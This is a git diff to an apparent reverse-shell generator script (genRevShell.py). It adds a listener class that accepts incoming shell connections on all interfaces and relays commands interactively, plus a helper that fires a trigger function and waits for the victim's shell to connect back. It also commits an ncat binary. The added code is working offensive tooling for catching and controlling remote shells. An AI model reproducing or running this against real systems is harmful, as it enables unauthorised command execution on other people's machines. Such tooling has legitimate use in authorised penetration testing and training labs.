diff --git a/genRevShell.py b/genRevShell.py index e5f836f..3fd76d5 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -9,6 +9,65 @@ import threading import readline import base64 +class ShellListener: + + def __init__(self, addr, port): + self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.bind_addr = addr + self.port = port + self.on_message = None + self.listen_thread = None + self.connection = None + + def startBackground(self): + self.listen_thread = threading.Thread(target=self.start) + self.listen_thread.start() + return self.listen_thread + + def start(self): + self.running = True + self.listen_socket.bind((self.bind_addr, self.port)) + self.listen_socket.listen() + while self.running: + self.connection, addr = self.listen_socket.accept() + with self.connection: + print("[+] Got connection:", addr) + while self.running: + data = self.connection.recv(1024) + if not data: + break + if self.on_message: + self.on_message(data) + + print("[-] Disconnected") + self.connection = None + + def close(self): + self.running = False + self.sendline("exit") + self.listen_socket.close() + + def send(self, data): + if self.connection: + if isinstance(data, str): + data = data.encode() + self.connection.sendall(data) + + def sendline(self, data): + if isinstance(data, str): + data = data.encode() + data += b"\n" + return self.send(data) + + def print_message(self, data): + sys.stdout.write(data.decode()) + sys.stdout.flush() + + def interactive(self): + self.on_message = lambda x: self.print_message(x) + while self.running and self.connection is not None: + self.sendline(input()) + def generatePayload(type, local_address, port): if type == "bash": @@ -47,6 +106,13 @@ def triggerShell(func, port): threading.Thread(target=_wait_and_exec).start() spawn_listener(port) +def triggerShellBackground(func, port): + listener = ShellListener("0.0.0.0", port) + listener.startBackground() + threading.Thread(target=func).start() + while listener.connection is None: + time.sleep(0.5) + return listener if __name__ == "__main__": diff --git a/ncat b/ncat new file mode 100755 index 0000000..7d9490d Binary files /dev/null and b/ncat differ